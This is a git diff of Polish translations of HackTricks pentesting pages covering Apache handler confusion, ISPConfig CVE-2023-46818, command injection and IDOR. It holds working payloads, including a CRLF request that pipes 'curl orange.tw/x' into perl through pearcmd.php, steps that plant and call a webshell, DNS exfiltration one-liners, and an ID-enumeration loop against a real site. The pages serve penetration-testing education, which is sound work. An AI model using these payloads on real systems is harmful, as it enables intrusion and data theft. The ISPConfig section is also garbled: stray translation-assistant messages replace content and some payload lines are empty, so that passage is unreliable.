**/usr/share/php/magpierss/scripts/magpie_debug.php** może łatwo stworzyć SSRF, dając wejście do dalszych exploitów. +- Wykorzystanie **MagpieRSS** i pliku **magpie_debug.php** w **/usr/share/php/magpierss/scripts/magpie_debug.php** może łatwo stworzyć lukę SSRF, otwierając drogę do dalszych exploitów. -**Local Gadget to RCE** +**Lokalny gadget do RCE** -- Okazji do **Remote Code Execution (RCE)** jest wiele — podatne instalacje jak przestarzałe **PHPUnit** czy **phpLiteAdmin** mogą zostać wykorzystane do wykonania dowolnego kodu, pokazując szeroki potencjał manipulacji lokalnymi gadgetami. +- Możliwości Remote Code Execution (RCE) są rozległe — podatne instalacje, takie jak przestarzałe **PHPUnit** czy **phpLiteAdmin**, mogą zostać wykorzystane do wykonania dowolnego kodu, co pokazuje szeroki potencjał manipulacji lokalnymi gadgetami. #### **Jailbreak z lokalnych gadgetów** -Możliwe jest także jailbreak z dozwolonych folderów przez podążanie za symlinkami tworzonymi przez zainstalowane oprogramowanie w tych folderach, np.: +Możliwe jest także wykonanie jailbreaku z dozwolonych folderów przez śledzenie symlinków generowanych przez zainstalowane oprogramowanie w tych folderach, takich jak: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,55 +186,55 @@ Możliwe jest także jailbreak z dozwolonych folderów przez podążanie za syml - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Co więcej, poprzez nadużycie symlinków możliwe było uzyskanie **RCE in Redmine.** +Co więcej, przez nadużycie symlinków możliwe było uzyskanie **RCE in Redmine.** -### Zamieszanie z handlerami +### Zamieszanie handlerów -Ten atak wykorzystuje nakładanie się funkcjonalności dyrektyw `AddHandler` i `AddType`, które obie mogą być użyte do **włączenia przetwarzania PHP**. Początkowo te dyrektywy wpływały na różne pola (`r->handler` oraz `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak ze względu na legacy code, Apache traktuje te dyrektywy zamiennie w pewnych warunkach, konwertując `r->content_type` na `r->handler` jeśli pierwsze jest ustawione, a drugie nie. +Ten atak wykorzystuje nakładanie się funkcjonalności między dyrektywami `AddHandler` i `AddType`, które obie mogą być użyte do włączenia przetwarzania PHP. Początkowo dyrektywy te wpływały na różne pola (`r->handler` i `r->content_type` odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu legacy code, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, konwertując `r->content_type` na `r->handler` jeśli pierwsze jest ustawione, a drugie nie. -Co więcej, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest puste przed wywołaniem `ap_run_handler()`, serwer **używa `r->content_type` jako handlera**, efektywnie czyniąc `AddType` i `AddHandler` równoważnymi w skutku. +Co więcej, w Apache HTTP Server (`server/config.c#L420`), jeśli `r->handler` jest pusty przed wykonaniem `ap_run_handler()`, serwer używa `r->content_type` jako handlera, efektywnie czyniąc `AddType` i `AddHandler` identycznymi pod względem działania. -#### **Overwrite Handler to Disclose PHP Source Code** +#### **Nadpisanie handlera w celu ujawnienia kodu źródłowego PHP** -W [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) przedstawiono podatność, gdzie nieprawidłowy nagłówek `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie **zwróci kod źródłowy PHP**. Wynikało to z problemu obsługi błędów z ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\ -Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. +W [**tę prezentację**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) zaprezentowano podatność, w której niepoprawny `Content-Length` wysłany przez klienta może spowodować, że Apache błędnie zwróci kod źródłowy PHP. Wynikało to z problemu z obsługą błędów w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania `r->content_type` na `text/html`.\ +Ponieważ ModSecurity nie obsługuje prawidłowo wartości zwracanych, zwróciłby kod PHP i nie zinterpretowałby go. #### **Overwrite Handler to XXXX** -TODO: Orange jeszcze nie ujawnił tej luki +TODO: Orange jeszcze nie ujawnił tej podatności -### **Invoke Arbitrary Handlers** +### **Wywoływanie dowolnych handlerów** -Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie w stanie **wywołać dowolne module handlers**. Jednak w momencie, gdy atakujący to kontroluje, większość procesu requestu będzie już wykonana. Mimo to możliwe jest **ponowne uruchomienie procesu requestu poprzez nadużycie nagłówka `Location`**, ponieważ jeśli zwrócony `Status` jest 200 i nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako Server-Side Redirection i powinna być przetworzona +Jeśli atakujący jest w stanie kontrolować nagłówek **`Content-Type`** w odpowiedzi serwera, będzie mógł **wywołać dowolne modułowe handlery**. Jednak w momencie, gdy atakujący to kontroluje, większość procesu żądania będzie już wykonana. Możliwe jest jednak **ponowne uruchomienie procesu żądania wykorzystując nagłówek `Location`**, ponieważ jeśli zwrócony `Status` jest 200 i nagłówek `Location` zaczyna się od `/`, odpowiedź jest traktowana jako Server-Side Redirection i powinna być przetworzona -Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) zdefiniowano zachowanie Local Redirect Response: +Zgodnie z [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specyfikacja dotycząca CGI) w [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definiuje zachowanie Local Redirect Response: > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. -Dlatego, aby wykonać ten atak, potrzebna jest jedna z następujących podatności: +Dlatego, aby przeprowadzić ten atak, potrzebna jest jedna z następujących podatności: - CRLF Injection w nagłówkach odpowiedzi CGI -- SSRF z pełną kontrolą nad nagłówkami odpowiedzi +- SSRF z pełną kontrolą nagłówków odpowiedzi -#### **Arbitrary Handler to Information Disclosure** +#### **Dowolny handler prowadzący do ujawnienia informacji** -Na przykład `/server-status` powinien być dostępny tylko lokalnie: +Na przykład /server-status powinien być dostępny tylko lokalnie: ```xml SetHandler server-status Require local ``` -Można uzyskać do niego dostęp ustawiając `Content-Type` na `server-status` oraz nagłówek Location zaczynający się od `/`. +Można uzyskać do niego dostęp, ustawiając nagłówek `Content-Type` na `server-status` oraz nagłówek Location zaczynający się od `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Przejście z Arbitrary Handler do pełnego SSRF** +#### **Arbitrary Handler to Full SSRF** -Przekierowywanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu pod dowolnym adresem URL: +Przekierowanie do `mod_proxy`, aby uzyskać dostęp do dowolnego protokołu pod dowolnym URL: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Jednak nagłówek `X-Forwarded-For` jest dodawany, uniemożliwiając dostęp do endpointów metadanych chmury. +Jednak nagłówek `X-Forwarded-For` jest dodawany, co uniemożliwia dostęp do endpointów metadanych chmury. -#### **Dowolny handler do uzyskania dostępu do lokalnego Unix Domain Socket** +#### **Arbitrary Handler to Access Local Unix Domain Socket** -Uzyskaj dostęp do lokalnego Unix Domain Socket PHP-FPM, aby wykonać PHP backdoor znajdujący się w `/tmp/`: +Uzyskaj dostęp do lokalnego Unix Domain Socket PHP-FPM, aby uruchomić PHP backdoor znajdujący się w `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -Oficjalny obraz [PHP Docker](https://hub.docker.com/_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP w linii poleceń, które można nadużyć, aby uzyskać RCE: +Oficjalny obraz [PHP Docker](https://hub.docker.com/_/php) zawiera PEAR (`Pearcmd.php`), narzędzie do zarządzania pakietami PHP z linii poleceń, które można wykorzystać do uzyskania RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,9 +265,9 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Zapoznaj się z [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autorstwa [Phith0n](https://x.com/phithon_xg), aby poznać szczegóły tej techniki. +Sprawdź [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autorstwa [Phith0n](https://x.com/phithon_xg), aby uzyskać szczegóły tej techniki. -## Referencje +## Źródła - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index b026cf3b5..69478234f 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,13 +4,13 @@ ## Przegląd -ISPConfig to otwarto-źródłowy panel do zarządzania hostingiem. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która, gdy była włączona dla super administratora, pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą sfałszowanego rekordu tłumaczenia. Może to prowadzić do RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, do privilege escalation. +ISPConfig to open-source panel kontrolny hostingu. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która po włączeniu dla super administratora pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą nieprawidłowego rekordu tłumaczenia. Może to dać RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, eskalację uprawnień. Kluczowe domyślne ścieżki: -- Katalog główny serwera WWW często znajduje się w `/var/www/ispconfig` gdy serwowane za pomocą `php -S` lub przez Apache/nginx. -- Interfejs administracyjny dostępny na vhost HTTP(S) (czasami powiązany tylko z localhost; użyj przekierowania portu SSH, jeśli to konieczne). +- Web root często w `/var/www/ispconfig` kiedy serwowane przy użyciu `php -S` lub przez Apache/nginx. +- Admin UI dostępny na HTTP(S) vhost (czasami związany tylko z localhost; użyj SSH port-forward jeśli to konieczne). -Wskazówka: Jeśli panel jest związany lokalnie (np. `127.0.0.1:8080`), przekieruj go: +Porada: Jeśli panel jest związany lokalnie (np. `127.0.0.1:8080`), przekieruj go: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 @@ -19,21 +19,21 @@ ssh -L 9001:127.0.0.1:8080 user@target - Dotyczy: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) - Warunki wstępne: -- Zaloguj się jako wbudowane konto superadmin `admin` (inne role nie są dotknięte według dostawcy) -- Edytor języka musi być włączony: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Skutek: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany w pliku językowym i wykonany przez aplikację, osiągając RCE w kontekście web +- Zaloguj się jako wbudowane konto superadmin `admin` (inne role nie są dotknięte zgodnie z dostawcą) +- Edytor języka musi być włączony: `admin_allow_langedit=yes` w `/usr/local/ispconfig/security/security_settings.ini` +- Wpływ: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany do pliku językowego i wykonany przez aplikację, co prowadzi do RCE w kontekście webowym -References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. +Referencje: wpis NVD CVE-2023-46818 oraz link do advisory producenta w sekcji Referencje poniżej. -### Manual exploitation flow +### Ręczna procedura eksploatacji -1) Open/create a language file to obtain CSRF tokens +1) Otwórz/utwórz plik językowy, aby uzyskać tokeny CSRF Wyślij pierwsze żądanie POST, aby zainicjować formularz i sparsować pola CSRF z odpowiedzi HTML (`csrf_id`, `csrf_key`). Przykładowa ścieżka żądania: `/admin/language_edit.php`. -2) Inject PHP via records[] and save +2) Wstrzyknij PHP przez records[] i zapisz -Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy wpis tłumaczenia. Minimalne próby wykonania poleceń: +Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy rekord tłumaczenia. Minimalne próby wykonania polecenia: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,13 +42,13 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Test poza pasmem (obserwuj ICMP): +Out-of-band test (obserwuj ICMP): ```http records[]= ``` -3) Zapisz pliki i wgraj webshell +3) Zapisz pliki i umieść webshell -Użyj `file_put_contents`, aby utworzyć plik w ścieżce dostępnej przez web (np. `admin/`): +Użyj `file_put_contents`, aby utworzyć plik w ścieżce dostępnej z internetu (np. `admin/`): ```http records[]= ``` @@ -56,32 +56,32 @@ Następnie napisz prosty webshell używając base64, aby uniknąć niepożądany ```http records[]= ``` -Nie otrzymałem zawartości pliku. Proszę wklej treść pliku src/network-services-pentesting/pentesting-web/ispconfig.md albo wskaż, które sekcje przetłumaczyć. Zachowam oryginalne znaczniki, linki, ścieżki i kod. +I don't have access to your repository. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md (or upload the file). I will translate the English text to Polish, preserving all code, links, tags and markdown/html syntax per your rules. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Jeśli PHP jest uruchamiane jako root (np. przez `php -S 127.0.0.1:8080` uruchomione przez root), daje to natychmiastowe RCE jako root. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW. +Jeśli PHP jest uruchamiany jako root (np. przez `php -S 127.0.0.1:8080` uruchomione przez root), daje to natychmiastowe root RCE. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW. ### Python PoC -Gotowy exploit automatyzuje obsługę tokenów i dostarczanie payloadu: +Gotowy do użycia exploit automatyzuje obsługę tokenów i dostarczanie payloadu: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Przykładowe uruchomienie: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### Wzmacnianie zabezpieczeń +### Utwardzanie - Zaktualizuj do 3.2.11p1 lub nowszej -- Wyłącz edytor języków, chyba że jest to ściśle konieczne: +- Wyłącz edytor języka, chyba że jest to absolutnie konieczne: ``` admin_allow_langedit=no ``` - Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW tak, aby obniżał uprawnienia -- Wymagaj silnego uwierzytelniania dla wbudowanego konta `admin` +- Wymuś silne uwierzytelnianie dla wbudowanego konta `admin` -## Źródła +## Referencje - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 6cbe05210..a45d4381a 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Czym jest command Injection? +## Co to jest command Injection? -A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i systemem bazowym. +A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i podlegającym jej systemem. ### Kontekst -W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowanego** (używając `"` lub `'`) przed poleceniami. +W zależności od tego, **gdzie wstrzykiwane jest twoje wejście**, może być konieczne **zamknięcie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Ograniczenia** Bypasses -Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura o tych **Bypasses:** +Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux** zainteresuje cię lektura o tych **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametry -Oto 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Poniżej znajduje się lista 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Narzędzia online do sprawdzenia DNS based data exfiltration: +Narzędzia online do sprawdzania eksfiltracji danych przez DNS: - dnsbin.zhack.ca - pingb.in -### Filtering bypass +### Ominięcie filtrowania #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Podczas audytu back-endów w JavaScript/TypeScript często napotkasz API Node.js `child_process`. +Podczas audytowania back-endów JavaScript/TypeScript często natkniesz się na Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w stringu. +`exec()` spawns a **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) doprowadzi do **command injection**, gdy dane wejściowe użytkownika będą konkatenowane w stringu. -**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany żaden shell: +**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany shell: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,21 +140,21 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później zostały osadzone w wywołaniu `exec()` i doprowadziły do RCE (Pwn2Own Ireland 2024). +Przykład z realnego świata: *Synology Photos* ≤ 1.7.0-0794 było podatne na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później były osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024). -## Brute-Force — lista wykrywania +## Lista wykrywania Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## Referencje +## Źródła - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Ekstrakcja zaszyfrowanych archiwów Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index afcc0aa41..72d298338 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub akceptuje sterowalny przez użytkownika identyfikator, który jest używany **bezpośrednio** do dostępu do wewnętrznego obiektu **bez sprawdzenia, czy wywołujący ma uprawnienia** do dostępu/modyfikacji tego obiektu. -Udana eksploatacja zazwyczaj pozwala na poziomą lub pionową privilege-escalation, np. na odczyt lub modyfikację danych innych użytkowników, a w najgorszym wypadku na full account takeover lub mass-data exfiltration. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub przyjmuje identyfikator kontrolowany przez użytkownika, który jest używany **bezpośrednio** do dostępu do wewnętrznego obiektu **bez weryfikacji, czy wywołujący jest uprawniony** do dostępu/modyfikacji tego obiektu. +Udana eksploatacja zazwyczaj pozwala na horizontal or vertical privilege-escalation, takie jak czytanie lub modyfikowanie danych innych użytkowników, a w najgorszym wypadku full account takeover lub mass-data exfiltration. --- -## 1. Identifying Potential IDORs +## 1. Identyfikacja potencjalnych IDOR -1. Look for **parameters that reference an object**: -* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` -* Query: `?id=42`, `?invoice=2024-00001` +1. Szukaj **parametrów, które odnoszą się do obiektu**: +* Ścieżka: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` +* Zapytanie: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` -* Headers / Cookies: `X-Client-ID: 4711` -2. Prefer endpoints that **read or update** data (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Note when identifiers are **sequential or predictable** – if your ID is `64185742`, then `64185741` probably exists. -4. Explore hidden or alternate flows (e.g. *"Paradox team members"* link in login pages) that might expose extra APIs. -5. Use an **authenticated low-privilege session** and change only the ID **keeping the same token/cookie**. The absence of an authorization error is usually a sign of IDOR. +* Nagłówki / Cookies: `X-Client-ID: 4711` +2. Preferuj endpointy, które **odczytują lub aktualizują** dane (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Zwróć uwagę, gdy identyfikatory są **kolejne lub przewidywalne** – jeśli Twój ID to `64185742`, to `64185741` prawdopodobnie istnieje. +4. Przeszukaj ukryte lub alternatywne przepływy (np. *"Paradox team members"* link na stronach logowania), które mogą ujawnić dodatkowe API. +5. Użyj **uwierzytelnionej sesji o niskich uprawnieniach** i zmieniaj tylko ID **zachowując ten sam token/cookie**. Brak błędu autoryzacji zwykle oznacza IDOR. -### Quick manual tampering (Burp Repeater) +### Szybka ręczna manipulacja (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Zautomatyzowana enumeracja (Burp Intruder / curl loop) +### Automatyczna enumeracja (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -38,33 +38,33 @@ done ``` --- -### Error-response oracle for user/file enumeration +### Error-response oracle dla enumeracji użytkowników/plików -Gdy download endpoint akceptuje zarówno username, jak i filename (np. `/view.php?username=&file=`), subtelne różnice w komunikatach o błędach często tworzą oracle: +Gdy endpoint pobierania akceptuje zarówno username, jak i filename (np. `/view.php?username=&file=`), subtelne różnice w komunikatach o błędach często tworzą oracle: - Nieistniejący username → "User not found" -- Zły filename, ale prawidłowe rozszerzenie → "File does not exist" (czasami również wypisuje dostępne pliki) -- Złe rozszerzenie → błąd walidacji +- Błędny filename, ale poprawne extension → "File does not exist" (czasami również listuje dostępne pliki) +- Błędne extension → błąd walidacji -Mając dowolną uwierzytelnioną sesję, możesz fuzzować parametr username przy trzymaniu benign filename i filtrować po ciągu "user not found", aby odkryć prawidłowych użytkowników: +W ramach dowolnej uwierzytelnionej sesji możesz fuzzować parametr username, podając poprawny filename i filtrować po ciągu "User not found", aby odkryć prawidłowych użytkowników: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Po zidentyfikowaniu prawidłowych nazw użytkowników, zażądaj konkretnych plików bezpośrednio (np. `/view.php?username=amanda&file=privacy.odt`). Ten wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników oraz wycieku poświadczeń. +Gdy zidentyfikowano prawidłowe nazwy użytkowników, żądaj bezpośrednio konkretnych plików (np. `/view.php?username=amanda&file=privacy.odt`). Ten schemat często prowadzi do nieuprawnionego ujawnienia dokumentów innych użytkowników oraz credential leakage. --- -## 2. Real-World Case Study – McHire Chatbot Platform (2025) +## 2. Studium przypadku – McHire Chatbot Platform (2025) -Podczas oceny portalu rekrutacyjnego Paradox.ai-powered **McHire** odkryto następujący IDOR: +Podczas oceny portalu rekrutacyjnego **McHire** opartego na Paradox.ai odkryto następujący IDOR: * Endpoint: `PUT /api/lead/cem-xhr` -* Authorization: ciasteczko sesji użytkownika dla **dowolnego** konta testowego restauracji -* Body parameter: `{"lead_id": N}` – 8-cyfrowy, **sekwencyjny** identyfikator numeryczny +* Authorization: cookie sesji użytkownika dla **dowolnego** konta testowego restauracji +* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier -Zmniejszając `lead_id`, tester pobrał dowolnych kandydatów **pełne PII** (imię i nazwisko, e-mail, telefon, adres, preferencje zmian) oraz konsumencki **JWT**, który umożliwił przejęcie sesji. Enumeracja zakresu `1 – 64,185,742` ujawniła około **64 million** rekordów. +Zmniejszając wartość `lead_id` tester pobrał dowolnych kandydatów z pełnymi **PII** (name, e-mail, phone, address, shift preferences) oraz consumer **JWT**, który umożliwiał session hijacking. Enumeracja zakresu `1 – 64,185,742` ujawniła około **64 million** rekordów. Proof-of-Concept request: ```bash @@ -72,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -W połączeniu z domyślnymi danymi administratora (`123456:123456`), które zapewniały dostęp do konta testowego, podatność doprowadziła do krytycznego wycieku danych obejmującego całą firmę. +W połączeniu z **default admin credentials** (`123456:123456`), które zapewniały dostęp do konta testowego, luka doprowadziła do krytycznego naruszenia danych obejmującego całą firmę. --- ## 3. Wpływ IDOR / BOLA -* Eskalacja pozioma – odczyt/modyfikacja/usunięcie danych **innych użytkowników**. -* Eskalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla administratorów. -* Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. ID kandydatów, faktury). -* Przejęcie konta poprzez kradzież tokenów lub resetowanie haseł innych użytkowników. +* Escalacja pozioma – read/update/delete **danych innych użytkowników**. +* Escalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla adminów. +* Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. applicant IDs, invoices). +* Przejęcie konta przez kradzież tokenów lub resetowanie haseł innych użytkowników. --- -## 4. Środki zaradcze i najlepsze praktyki -1. **Enforce object-level authorization** on every request (`user_id == session.user`). -2. Preferuj **indirect, unguessable identifiers** (UUIDv4, ULID) zamiast autoinkrementujących ID. -3. Wykonuj autoryzację **server-side**, nigdy nie polegaj na ukrytych polach formularzy ani kontrolkach UI. -4. Zaimplementuj **RBAC / ABAC** checks w centralnym middleware. +## 4. Środki zaradcze i dobre praktyki +1. **Wymuszaj autoryzację na poziomie obiektów** dla każdego żądania (`user_id == session.user`). +2. Preferuj **pośrednie, niezgadywalne identyfikatory** (UUIDv4, ULID) zamiast auto-increment IDs. +3. Wykonuj autoryzację **po stronie serwera**, nie polegaj na ukrytych polach formularzy ani kontrolkach UI. +4. Zaimplementuj **RBAC / ABAC** w centralnym middleware. 5. Dodaj **rate-limiting & logging** aby wykrywać enumerację identyfikatorów. -6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, and DAST). +6. Testuj 